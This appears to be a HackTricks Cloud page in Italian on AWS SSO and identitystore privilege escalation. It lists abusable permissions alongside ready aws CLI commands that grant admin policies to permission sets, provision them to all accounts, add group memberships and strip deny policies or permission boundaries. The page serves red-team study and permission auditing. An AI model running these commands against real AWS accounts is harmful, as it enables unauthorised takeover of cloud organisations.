AWS - SSO & identitystore Privesc
Reading time: 6 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
AWS Identity Center / AWS SSO
Per ulteriori informazioni su AWS Identity Center / AWS SSO controlla:
AWS - IAM, Identity Center & SSO Enum
warning
Nota che per default, solo utenti con permessi dalla Management Account potranno accedere e controllare l'IAM Identity Center.
Gli utenti di altri account possono farlo solo se l'account è un Delegated Administrator.
Controlla la documentazione per ulteriori informazioni.
Reset Password
Un modo semplice per escalare i privilegi in casi come questo sarebbe avere un permesso che consente di reimpostare le password degli utenti. Sfortunatamente, è possibile solo inviare un'email all'utente per reimpostare la sua password, quindi avresti bisogno di accesso all'email degli utenti.
identitystore:CreateGroupMembership
Con questo permesso è possibile inserire un utente all'interno di un gruppo in modo che erediti tutti i permessi che il gruppo ha.
aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>
sso:PutInlinePolicyToPermissionSet
, sso:ProvisionPermissionSet
Un attaccante con questo permesso potrebbe concedere permessi aggiuntivi a un Permission Set che è concesso a un utente sotto il suo controllo.
# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml
# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachManagedPolicyToPermissionSet
, sso:ProvisionPermissionSet
Un attaccante con questo permesso potrebbe concedere permessi aggiuntivi a un Permission Set che è concesso a un utente sotto il suo controllo.
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachCustomerManagedPolicyReferenceToPermissionSet
, sso:ProvisionPermissionSet
Un attaccante con questo permesso potrebbe concedere permessi aggiuntivi a un Permission Set che è concesso a un utente sotto il suo controllo.
warning
Per abusare di questi permessi in questo caso è necessario conoscere il nome di una policy gestita dal cliente che si trova in TUTTI gli account che saranno interessati.
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:CreateAccountAssignment
Un attaccante con questo permesso potrebbe assegnare un Permission Set a un utente sotto il suo controllo a un account.
aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>
sso:GetRoleCredentials
Restituisce le credenziali STS a breve termine per un determinato nome di ruolo assegnato all'utente.
aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>
Tuttavia, hai bisogno di un token di accesso che non sono sicuro di come ottenere (TODO).
sso:DetachManagedPolicyFromPermissionSet
Un attaccante con questo permesso può rimuovere l'associazione tra una policy gestita da AWS e il set di permessi specificato. È possibile concedere più privilegi tramite la disassociazione di una policy gestita (deny policy).
aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>
sso:DetachCustomerManagedPolicyReferenceFromPermissionSet
Un attaccante con questo permesso può rimuovere l'associazione tra una policy gestita dal cliente e il set di permessi specificato. È possibile concedere più privilegi tramite la disassociazione di una policy gestita (policy di negazione).
aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
sso:DeleteInlinePolicyFromPermissionSet
Un attaccante con questo permesso può rimuovere le autorizzazioni da una policy inline dal set di autorizzazioni. È possibile concedere più privilegi staccando una policy inline (policy di negazione).
aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
sso:DeletePermissionBoundaryFromPermissionSet
Un attaccante con questo permesso può rimuovere il Permission Boundary dal set di permessi. È possibile concedere più privilegi rimuovendo le restrizioni sul Permission Set date dal Permission Boundary.
aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.